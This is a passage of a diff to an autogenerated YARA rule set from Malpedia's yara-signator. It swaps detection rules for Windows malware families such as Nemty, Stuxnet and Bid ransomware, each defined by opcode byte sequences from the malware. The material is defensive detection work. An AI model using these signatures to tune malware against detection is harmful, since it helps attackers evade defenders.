yara-signator at cocacoding dot com" - id = "cdf39d25-7035-553c-816d-fe9d35a19962" + id = "69293053-9c73-5e85-bfc8-1bda4f3480af" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nemty" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nemty_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bart" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bart_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "3672eaf2e9c4783f20e7f6ec877d618670612c5d8376e42a0d5a0e87ba0dbd7a" + logic_hash = "3bd63c0862e680fa10847ed0fefa7078e2170f430f6b6047eb709673a0606c78" score = 75 quality = 75 tags = "FILE" @@ -118350,32 +118386,32 @@ rule MALPEDIA_Win_Nemty_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6bf61c 8b45e8 03f0 897308 6bff1c } - $sequence_1 = { e8???????? 53 8d75e0 e8???????? 8b4dfc 5f 5e } - $sequence_2 = { e8???????? 6a01 33ff 8d7508 e8???????? 8b4dfc } - $sequence_3 = { 83c61c 3bd8 72c0 68???????? } - $sequence_4 = { ff15???????? 53 8d459c 50 ff35???????? } - $sequence_5 = { e8???????? 33db 43 53 33ff 8d75e0 e8???????? } - $sequence_6 = { c20400 8b4f04 53 8bd8 56 } - $sequence_7 = { 5f f7ff 43 83c61c 3bd8 72c0 } - $sequence_8 = { 837d3810 8bf8 8b4524 59 7303 8d4524 837d3810 } - $sequence_9 = { 50 56 6806000200 6a01 56 56 68???????? } + $sequence_0 = { 74d1 68ffffff00 50 8d45d8 8bce 50 e8???????? } + $sequence_1 = { 8d4dbc e8???????? 8b8558ffffff 8d8d7cffffff 8b9550ffffff 0fb600 } + $sequence_2 = { 8d4dd4 eb55 84db 755a 6a02 5a 8d4de4 } + $sequence_3 = { 48 0fb7c0 6683f801 7e7e } + $sequence_4 = { 53 56 57 8d45b8 8955ec 8bf9 50 } + $sequence_5 = { ffb63c010000 53 ffd7 83c40c 3b461c 75e1 33c0 } + $sequence_6 = { 8bfa 8bd9 384601 7e11 } + $sequence_7 = { 8bec 53 56 8bd9 57 33ff 397b48 } + $sequence_8 = { 0f840c010000 57 ff15???????? 6800ff0000 ffd3 8bf8 85ff } + $sequence_9 = { 50 8b83b0000000 ffd0 8b95c8feffff 8b8db8feffff 53 56 } condition: - 7 of them and filesize < 204800 + 7 of them and filesize < 163840 } -rule MALPEDIA_Win_Nitrogen_Auto : FILE +rule MALPEDIA_Win_Alphanc_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "75d54911-9963-5fa1-94d4-824f367ba5ac" + id = "44e5cd2d-dd6f-5dec-8633-e36984c0d4b0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitrogen" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nitrogen_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alphanc" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alphanc_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "5f8ac2a7555dea7311ca047ff8fe4bf1acad1a9235530176528b358f16735fc3" + logic_hash = "d03fa53d22f05f45f0bb38627a16b1b71ce74e44da84ac0b88c2ab879180e110" score = 75 quality = 75 tags = "FILE" @@ -118389,34 +118425,32 @@ rule MALPEDIA_Win_Nitrogen_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8905???????? 488b05???????? 48ffc0 488905???????? } - $sequence_1 = { 4898 488905???????? 8b05???????? 488905???????? } - $sequence_2 = { 488b05???????? 89442454 8b05???????? 89442458 } - $sequence_3 = { 4898 488905???????? 488b05???????? 4885c0 } - $sequence_4 = { 0fbe05???????? c1e002 4898 488905???????? } - $sequence_5 = { 668905???????? 488b05???????? 48ffc8 488905???????? } - $sequence_6 = { 668905???????? 8b05???????? 668905???????? 8b05???????? } - $sequence_7 = { eb35 488b05???????? 4885c0 7429 } - $sequence_8 = { 8b05???????? ffc0 8905???????? 0fb705???????? } - $sequence_9 = { 668905???????? 8b05???????? ffc8 8905???????? } - $sequence_10 = { 0fb6c0 8905???????? 8b05???????? 85c0 } - $sequence_11 = { 8905???????? 488b05???????? 480faf05???????? 488905???????? } + $sequence_0 = { ff15???????? 8d45f0 8d4de8 50 51 ff15???????? 57 } + $sequence_1 = { 8d044544ce4e00 eb59 8d044542ce4e00 eb50 f6c303 740d 0fb74208 } + $sequence_2 = { 8b6c2424 55 56 e8???????? 8b542458 83c408 8d4aff } + $sequence_3 = { bf50000000 6a41 e9???????? 56 e8???????? 83c404 85c0 } + $sequence_4 = { e8???????? 85c0 7526 8a4b7c 8a142e 32d1 6857a0a6f8 } + $sequence_5 = { 8b6c2438 68f1000000 68???????? 6a68 6891000000 6a04 e8???????? } + $sequence_6 = { 8b7c240c 8b4604 894704 8b0e 8b5608 51 52 } + $sequence_7 = { e8???????? 8be8 83c40c 85ed 753e b841000000 6852010000 } + $sequence_8 = { 8b4d04 83c102 3bc1 7cef 8b5504 83c202 895704 } + $sequence_9 = { 57 e8???????? 83c408 85c0 0f8489000000 8b0f 8b5500 } condition: - 7 of them and filesize < 135349248 + 7 of them and filesize < 2015232 } -rule MALPEDIA_Win_Zeus_Action_Auto : FILE +rule MALPEDIA_Win_Stuxnet_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b1bc7ed7-2f41-59f6-b8c0-74ccb733a5b2" + id = "64e9fab1-7d89-5a6e-8a31-2df625be17c1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_action" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeus_action_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stuxnet" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stuxnet_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "e0a4177bac84ef56b9551fcc42fe4ba9ebe72ed006b608f1d2911d9c311b37c6" + logic_hash = "0de893dd2abe057bcddad1952313e85e04a81b980ccf81d569805dbd5ff30eda" score = 75 quality = 75 tags = "FILE" @@ -118430,32 +118464,32 @@ rule MALPEDIA_Win_Zeus_Action_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 53 ff15???????? 89866c070000 85c0 0f849c010000 ff15???????? } - $sequence_1 = { 59 ebb1 8365fc00 8d45fc 50 56 e8???????? } - $sequence_2 = { 50 ffd6 8b4304 83c40c 83400403 e9???????? 8d4df8 } - $sequence_3 = { c3 55 8bec 33d2 837d1008 53 8ada } - $sequence_4 = { ff15???????? 89442420 0fb705???????? 50 ff15???????? 668944241e 6a10 } - $sequence_5 = { 75e6 8b55e8 8b7508 8b7d0c 8b4510 eb05 } - $sequence_6 = { 8b3f 8b4f0c 8b5f08 894dfc 8b45f8 3b7df4 0f85ebfeffff } - $sequence_7 = { 3bc1 7e04 33c0 eb37 8b4d18 0fb73b 8b11 } - $sequence_8 = { eb76 80f96e 7523 8b4304 8b4804 8b5008 2bd1 } - $sequence_9 = { 8945e4 85c0 0f849f010000 8b4508 8bf8 c1ef06 a83f } + $sequence_0 = { e8???????? 84c0 7504 804e1104 e8???????? 84c0 7404 } + $sequence_1 = { ff750c 8d4580 50 e8???????? 33db 895dfc 8d4580 } + $sequence_2 = { ff75f8 8d963c0b0000 57 e8???????? 59 59 5f } + $sequence_3 = { c3 8b44240c 8906 33c0 40 5e c3 } + $sequence_4 = { 8d4580 50 8d8540ffffff 50 e8???????? c645fc05 50 } + $sequence_5 = { e8???????? ff75c8 8d45ec 50 e8???????? ff75c9 8d45ec } + $sequence_6 = { b8???????? e8???????? 51 8365f000 56 8b7508 8d45f0 } + $sequence_7 = { e8???????? eb02 33c0 c645fc00 8b7d08 83c704 50 } + $sequence_8 = { e8???????? 8906 895604 c9 c3 8b08 8b4004 } + $sequence_9 = { 8955ec c7042410270000 e8???????? c645fc01 8b0e 8b01 6a02 } condition: - 7 of them and filesize < 827392 + 7 of them and filesize < 2495488 } -rule MALPEDIA_Win_Global_Auto : FILE +rule MALPEDIA_Win_Oddjob_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "84b4cf5c-c55a-5774-ae7f-5489c60753fa" + id = "ce6f270b-4df6-5ffb-b080-81b3ac10b32d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.global" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.global_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oddjob" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oddjob_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "09a9ad56bfef0ecdecd0c2b9ffb27931c564f59791efd5813a14ce69fded76ce" + logic_hash = "1f224904baf5c3783236036cd0bf598b6b7ff28b5975f43a99b2c079a61b51a9" score = 75 quality = 75 tags = "FILE" @@ -118469,32 +118503,32 @@ rule MALPEDIA_Win_Global_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b44243c 8d1c2a 8d341f 03c6 89442468 } - $sequence_1 = { 899634100000 8b54be3c c1c80a c1ca17 33d0 8b8610100000 c1c808 } - $sequence_2 = { 807e1400 7507 8bce e8???????? 8b5e0c 8b7730 } - $sequence_3 = { 8bc2 c1e808 884306 884b03 885307 8b4d08 8bc1 } - $sequence_4 = { 23cb 23ce 03c9 c1f91f 23ca 8b54242c c1fa1f } - $sequence_5 = { 6a01 51 e8???????? 8b8c2430020000 8bc6 5f 5e } - $sequence_6 = { 7412 8b4c2434 ff7108 57 50 e8???????? 83c40c } - $sequence_7 = { 8b8e4c100000 899678100000 8b949e00080000 c1c816 c1ca09 33d0 } - $sequence_8 = { 8db8bc4d4300 57 ff15???????? ff0d???????? 83ef18 83ee01 75eb } - $sequence_9 = { e8???????? 8d85b80c0000 50 ff75ac ff75a8 e8???????? 83c418 } + $sequence_0 = { 399da494ffff 7520 399d9c94ffff 7418 8bb59c94ffff 8b06 56 } + $sequence_1 = { c6856affffff51 c6856bffffff8b c6856cffffff56 c6856dffffff14 } + $sequence_2 = { 888592fcffff c68593fcffff53 c68594fcffff3e c68595fcffff5b } + $sequence_3 = { 8d85fefdffff 57 50 c785ccf7ffff01000000 89bdc0f7ffff e8???????? } + $sequence_4 = { 8b7d08 57 8bcb e8???????? 57 8945e0 897d08 } + $sequence_5 = { 0f844c080000 663d7800 0f8442080000 663d5800 0f8438080000 83a598fbffff00 8bb5dcfbffff } + $sequence_6 = { 889dd3feffff 889dd4feffff 889dd5feffff c685d6feffff56 } + $sequence_7 = { f7f7 8b4508 8a0401 32c2 88040e 41 8955fc } + $sequence_8 = { c68558fcffff8b c68559fcffff76 c6855afcffff10 c6855bfcffff01 c6855cfcffffc3 c6855dfcffff53 } + $sequence_9 = { 83cfff f7f7 8b4508 8a0401 32c2 88040e } condition: - 7 of them and filesize < 475136 + 7 of them and filesize < 221184 } -rule MALPEDIA_Win_Kivars_Auto : FILE +rule MALPEDIA_Win_Interception_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "97e9352f-68df-56fa-86e0-872f02c50448" + id = "f1a298d5-70e2-5f27-b6ee-691574cd9abf" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kivars" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kivars_auto.yar#L1-L164" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.interception" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.interception_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "4d20cf7aacd2e8c5bf1e2fc02d32857c61e25ca91f0ca5072534ea8bbca535b9" + logic_hash = "3520af3329a4b24d818d777e1e8f70b92d9cafa69a1f58bf6db64da9ed00530f" score = 75 quality = 75 tags = "FILE" @@ -118508,38 +118542,32 @@ rule MALPEDIA_Win_Kivars_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 448bc0 488d542440 488b8c2478080000 e8???????? } - $sequence_1 = { e8???????? 4c8d442440 488d942464030000 488b8c24e0050000 e8???????? } - $sequence_2 = { c784247004000001000000 83bc247004000000 7548 c784247c05000000000000 488d8c2440010000 } - $sequence_3 = { e8???????? 90 488d4c2430 e8???????? 486344242c } - $sequence_4 = { 8bcb 66897304 e8???????? 83f8ff } - $sequence_5 = { 85c0 7424 50 8b4354 50 ffd7 } - $sequence_6 = { 49 80bc0c7b0100005c 7433 bf???????? 83c9ff } - $sequence_7 = { 33c0 8d7c2418 f3ab 8d4366 6689542418 6a00 6a00 } - $sequence_8 = { 488d8c24780b0000 e8???????? e9???????? 488d542430 488d8c2440010000 } - $sequence_9 = { 482bc8 488bc1 89442428 e9???????? 8b442440 ffc8 } - $sequence_10 = { e9???????? 488b842460100000 48ffc0 ba3a000000 } - $sequence_11 = { 51 89442420 897c2434 ff15???????? 8b4c241c } - $sequence_12 = { 0bf0 83e23f 83c703 83c504 8a443410 } - $sequence_13 = { 894c244e b900080000 668b5004 33c0 50 50 } - $sequence_14 = { 8d7a01 57 e8???????? 83c404 8bd8 } - $sequence_15 = { 8b842400010000 488bc8 ff15???????? 4889842480000000 4883bc248000000000 } + $sequence_0 = { 83e61f 8d1c8520ae0010 c1e603 8b03 f644300401 7469 57 } + $sequence_1 = { 72f1 56 8bf1 c1e603 3b96e8710010 } + $sequence_2 = { c1f805 83e61f 8d1c8520ae0010 c1e603 8b03 } + $sequence_3 = { ffb6ec710010 8d8560ffffff 50 e8???????? 6810200100 8d8560ffffff } + $sequence_4 = { 8bd0 c1f905 83e21f 8b0c8d20ae0010 f644d10401 } + $sequence_5 = { 8d3c8520ae0010 c1e603 8b07 03c6 f6400401 7437 } + $sequence_6 = { f683c19c001004 7406 8816 46 } + $sequence_7 = { 8d542434 f3ab 66ab aa } + $sequence_8 = { 8bc8 83e01f c1f905 8b0c8d20ae0010 8a44c104 } + $sequence_9 = { 731c 8bc8 83e01f c1f905 8b0c8d20ae0010 f644c10401 8d04c1 } condition: - 7 of them and filesize < 196608 + 7 of them and filesize < 98304 } -rule MALPEDIA_Win_Micrass_Auto : FILE +rule MALPEDIA_Win_Revc2_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a229f115-b5ac-5aa3-9ddb-ec5c8630e70f" + id = "a9d168dd-7c35-55c3-a239-5afaaa4e5d1b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.micrass" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.micrass_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revc2" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.revc2_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "639446b0255ff71a4b5f82ebea10985e5191c147bc877240c832d8560fe4064d" + logic_hash = "940c1d8169d85582e91801f5b035bb96d22b7337aecd24f108d64e53de46b408" score = 75 quality = 75 tags = "FILE" @@ -118553,32 +118581,32 @@ rule MALPEDIA_Win_Micrass_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 33db 53 6801001f00 ff15???????? 3bc3 } - $sequence_1 = { 770f 0fb7c2 0fbe80e8014100 83e00f eb02 } - $sequence_2 = { c1f905 8d3c8da0dd4000 8bf0 83e61f c1e606 } - $sequence_3 = { 50 8d85c03fffff 50 e8???????? 59 59 85c0 } - $sequence_4 = { a1???????? 33c5 8945fc ff7508 8d85e04fffff 56 } - $sequence_5 = { 56 50 e8???????? 8b85e44fffff 83c40c } - $sequence_6 = { c1f905 8b0c8da0dd4000 83e01f c1e006 f644080401 74cd } - $sequence_7 = { c785fcfefffff4f4f4f4 c78500fffffff4f4f4f4 c78504fffffff4f4f4f4 c78508fffffff4f4f4f4 } - $sequence_8 = { c745a0808084b7 c745a4989b8791 c745a8bc959a90 c745ac9891f4f4 c745b0f4f4f4f4 c745b4f4f4f4f4 } - $sequence_9 = { c745b8f4f4f4f4 c745bcf4f4f4f4 c745c0f4f4f4f4 c745c4f4f4f4f4 } + $sequence_0 = { 8d4701 458bca 458bec 0f45f8 be01000000 8364244000 4183e21f } + $sequence_1 = { e8???????? 498946b0 488bc3 49894500 486307 4c6bf068 410fb6842434010000 } + $sequence_2 = { 90 488d8d90000000 e8???????? 90 488d4dd0 e8???????? 90 } + $sequence_3 = { ff15???????? e9???????? 488b0e 488b11 0fb74214 a804 0f84ab010000 } + $sequence_4 = { c5fe6f27 c5fe6f15???????? c5fe6f2d???????? c5fd71d404 c5fddbca c4e24d00d9 c5eddbc4 } + $sequence_5 = { eb12 4863c6 488d0c40 488b8388000000 488d04c8 895008 418d7701 } + $sequence_6 = { e8???????? 4c8b8424b8000000 498b38 4885ff 0f84fa010000 418bdd 4c8d0dca611200 } + $sequence_7 = { 4c894dc0 4889542450 4889442458 4c895c2440 895c2430 895c2470 895da0 } + $sequence_8 = { e8???????? 90 4c8bc0 488d4d50 e8???????? 488bf8 488d542450 } + $sequence_9 = { e8???????? 488bc3 488b5c2450 488b7c2458 4883c440 5d c3 } condition: - 7 of them and filesize < 163840 + 7 of them and filesize < 5108736 } -rule MALPEDIA_Win_Xxmm_Auto : FILE +rule MALPEDIA_Win_Bid_Ransomware_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "800c8101-0763-52f5-a1e9-65fcf4499abd" + id = "ce47ce7f-14e1-59ae-ba57-79394ad6dc42" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xxmm" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xxmm_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bid_ransomware" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bid_ransomware_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "b2b78d64096201d10c34f38aaeb6c676ad8ec13dc60f928c2884568102dbff1f" + logic_hash = "f1877b67a4049109e0b2de66aad3ce4469b6223b173e84f5ebaf276fe703ce2d" score = 75 quality = 75 tags = "FILE" @@ -118592,32 +118620,32 @@ rule MALPEDIA_Win_Xxmm_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 895d08 47 81e7ff000080 7908 } - $sequence_1 = { 8a0408 8b55fc 320432 8806 46 ff4d08 759b } - $sequence_2 = { 23c3 013c08 eb1e 6683ff01 } - $sequence_3 = { 8b45f4 83c704 85c0 7406 } - $sequence_4 = { 7580 8b45f8 2b4634 83bea400000000 8945fc 0f8481000000 8b96a0000000 } - $sequence_5 = { 8d040f 0fb610 035510 81e2ff000080 7908 } - $sequence_6 = { 3bc1 0f8568feffff 8b733c 6a40 6800300000 03f3 ff7650 } - $sequence_7 = { 23c3 66013c08 8b45e0 8345f402 85c0 } - $sequence_8 = { 77b7 8b45f0 8b5dfc 33c9 394de4 7414 } - $sequence_9 = { 8945fc e8???????? 8b45fc 6800240000 bf???????? 03c3 57 } + $sequence_0 = { 8d45a4 50 6a00 6a00 68???????? 6a00 } + $sequence_1 = { 68???????? e8???????? 85c0 0f848d000000 8b7508 ff7508 } + $sequence_2 = { e8???????? 60 6a00 6a02 e8???????? 8bd8 c785d4fdffff2c020000 } + $sequence_3 = { e8???????? c9 c3 55 8bec 60 } + $sequence_4 = { e8???????? 83f800 7605 8945f4 eb02 ebc9 } + $sequence_5 = { ff759c e8???????? 8b45a8 0500040000 894590 6800010000 } + $sequence_6 = { 6a00 6a00 e8???????? 6a0f 50 } + $sequence_7 = { ff75f4 e8???????? ff75fc e8???????? ff05???????? ff75e4 e8???????? } + $sequence_8 = { e8???????? 8d85d4fdffff 50 53 e8???????? ebb4 53 } + $sequence_9 = { 6a00 8d00 50 e8???????? eb79 8b5814 66813b5c5c } condition: - 7 of them and filesize < 540672 + 7 of them and filesize < 57344 } -rule MALPEDIA_Win_Bqtlock_Auto : FILE +rule MALPEDIA_Win_Maggie_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bb5e42ac-0a96-533f-bdf8-f7363192cc82" + id = "81084c1b-a8b2-52e1-b50c-8b61dc38259b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bqtlock" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bqtlock_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maggie" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.maggie_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "fe09c813bf2717fae94718806fa0772093be79bdfe9076451ef94ec757b5ff93" + logic_hash = "c0bf28bd0446ea04e23665ed8ce11b5b78fa1a4a971a7efa9966e49954f77131" score = 75 quality = 75 tags = "FILE" @@ -118631,32 +118659,32 @@ rule MALPEDIA_Win_Bqtlock_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f859b000000 8b08 e8???????? 6690 4c89e1 e8???????? 48c745e800000000 } - $sequence_1 = { 498d5508 4c89c1 4829d1 83e108 742f 498b5508 4839d0 } - $sequence_2 = { 488d540002 e8???????? 488b4ba0 4885c9 7405 e8???????? 488b4500 } - $sequence_3 = { 4d85c0 48895110 4889cb 0f95c0 31d2 894108 488d057fde0a00 } - $sequence_4 = { 4c89d9 ff5048 83f8ff 0f8451020000 4c8b5c2468 89c1 0fb6d0 } - $sequence_5 = { 4c8d742450 4531d2 4c894c2438 4c89e9 4c89742440 48c744244800000000 664489542450 } - $sequence_6 = { 488d4110 488901 4885d2 7505 4d85c0 7510 4531c9 } - $sequence_7 = { 4c8d0daa38fcff 488b4038 4c39c8 0f856d030000 4839f2 740b 4889f2 } - $sequence_8 = { b800000000 ba00000000 480f45542460 410f44c6 4889542460 4038f0 0f84fdfaffff } - $sequence_9 = { 4d85c0 0f8469fdffff e9???????? e8???????? 4889c3 ff542438 8b00 } + $sequence_0 = { ff15???????? e8???????? 84c0 74ec e8???????? } + $sequence_1 = { ff15???????? 83f8ff 750f ff15???????? 2d33270000 } + $sequence_2 = { 663b05???????? 7505 e8???????? e8???????? } + $sequence_3 = { 7511 ff15???????? 85c0 7407 33c0 e9???????? } + $sequence_4 = { b8ff000000 663b05???????? 7505 e8???????? } + $sequence_5 = { 750f ff15???????? 2d33270000 f7d8 } + $sequence_6 = { 750f ff15???????? 2d33270000 f7d8 1bc0 } + $sequence_7 = { 663b05???????? 7505 e8???????? e8???????? 84c0 } + $sequence_8 = { 83f8ff 750f ff15???????? 2d33270000 f7d8 1bc0 } + $sequence_9 = { ff15???????? 83f8ff 750f ff15???????? 2d33270000 f7d8 } condition: - 7 of them and filesize < 4444160 + 7 of them and filesize < 611328 } -rule MALPEDIA_Win_Slimagent_Auto : FILE +rule MALPEDIA_Win_Gophe_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "81a11c11-c6ba-51d7-a103-aa43fd5efed5" + id = "2491eb29-3935-5849-a2ad-9eccac6a7b9a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slimagent" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slimagent_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gophe" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gophe_auto.yar#L1-L159" license_url = "N/A" - logic_hash = "78304dd9a4e758407499c150f8ded9d2c3d715e90c8046900ee52970af3e3c9d" + logic_hash = "5cb34ff791810c63e96dde8e723ffcb01f24b10439430c6d1044dfaa95dacbda" score = 75 quality = 75 tags = "FILE" @@ -118670,32 +118698,38 @@ rule MALPEDIA_Win_Slimagent_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488bc2 488d0df5440200 0f57c0 48890b 488d5308 488d4808 0f1102 } - $sequence_1 = { b801000000 874110 85c0 7427 8364244000 488d05d2a5feff 4889442448 } - $sequence_2 = { c3 4053 4883ec20 488d054bcf0200 488bd9 488901 f6c201 } - $sequence_3 = { 0f1102 e8???????? 488d058c780200 488903 488bc3 4883c420 5b } - $sequence_4 = { 66413b444b02 7515 4883c102 4883f90b 7415 0fb7044a 66413b044b } - $sequence_5 = { 488d0c4f 41b810000000 488d15004c0400 e8???????? 6646892c77 eb7d 48c744242008000000 } - $sequence_6 = { 4c8b83f0000000 498bc0 482bc1 483bd0 772f 488d3411 } - $sequence_7 = { 488bc2 48c1e83f 4803d0 4863c2 4869c880aefeff 488d0535240100 89531c } - $sequence_8 = { 4803fa 4d8bc6 33d2 488bcf e8???????? 42c6043700 eb0f } - $sequence_9 = { 48899fc8000000 668919 488d8fd8000000 4883bff000000008 7207 } + $sequence_0 = { 833902 0f94c0 84c0 7407 } + $sequence_1 = { b905000000 ff15???????? 8b05???????? 85c0 } + $sequence_2 = { 8d45f4 64a300000000 68e0000000 e8???????? 83c404 } + $sequence_3 = { 85c0 7509 b803000000 5d } + $sequence_4 = { c744242880000008 c744242003000000 4533c9 ba00000080 458d4103 } + $sequence_5 = { 85f6 7416 6830020000 6a00 } + $sequence_6 = { c744242010000000 4533c9 4c8b4210 8b5208 ff9088000000 } + $sequence_7 = { 57 68???????? c70605000000 e8???????? } + $sequence_8 = { 85c0 7838 488b4c2440 ff15???????? 8bf8 85c0 } + $sequence_9 = { 8bf0 83c404 8bd6 b9???????? } + $sequence_10 = { 8bf8 e8???????? 83c408 8d5001 } + $sequence_11 = { 837d0800 7507 b802000000 5d c3 33c0 } + $sequence_12 = { 90 4c8b45b8 4d8bc8 4d8b00 } + $sequence_13 = { b801000000 eb09 83c8ff eb04 } + $sequence_14 = { c744242880000000 c744242003000000 4533c9 4533c0 ba00000080 ff15???????? 488bf8 } + $sequence_15 = { 8b4dec 33cd e8???????? 8be5 5d c21000 c745fc02000000 } condition: - 7 of them and filesize < 769024 + 7 of them and filesize < 1582080 } -rule MALPEDIA_Win_Satan_Auto : FILE +rule MALPEDIA_Win_Fuwuqidrama_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "68d44cab-535c-5e80-af20-cc11a23f278f" + id = "fa930744-5999-561a-b1cf-4c1122391afe" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satan" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.satan_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fuwuqidrama" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fuwuqidrama_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "d0b3d89d021ce91fc4570ebd9fe46022bd9b8c1b3f3581186971725c2d3f1922" + logic_hash = "76d62a17f159b8ceb3cf4ce032c2e526c9b8417f56a11565dc77a48334fec771" score = 75 quality = 75 tags = "FILE" @@ -118709,32 +118743,32 @@ rule MALPEDIA_Win_Satan_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b02 c1f806 8b4d0c 8b11 83e23f 6bca30 8b148540e04700 } - $sequence_1 = { 8d4db8 c745fcffffffff e8???????? 8d45b8 c745fc10000000 50 8d45e4 } - $sequence_2 = { 8945cc c645d300 c745c8ffffffff 83cbff 895dc4 c745d800000000 c745dc00000000 } - $sequence_3 = { 3305???????? b904000000 6bd124 8982d0d14700 68???????? 8b45fc 50 } - $sequence_4 = { 660f123d???????? 25ff010000 83c001 25fe030000 f20f592c85c01a4700 f20f591485c01a4700 660f5834c5d0224700 } - $sequence_5 = { 7511 3d00200000 740a be06000000 33c9 8975c0 894dc8 } - $sequence_6 = { f20f5cc3 03c0 03c0 03c0 03c0 660f289800334700 660f2835???????? } - $sequence_7 = { c745fc00000000 33c9 8b751c ba02000000 46 8bc6 f7e2 } - $sequence_8 = { 8bff 55 8bec 83ec10 8b4508 8d0c8598e24700 51 } - $sequence_9 = { 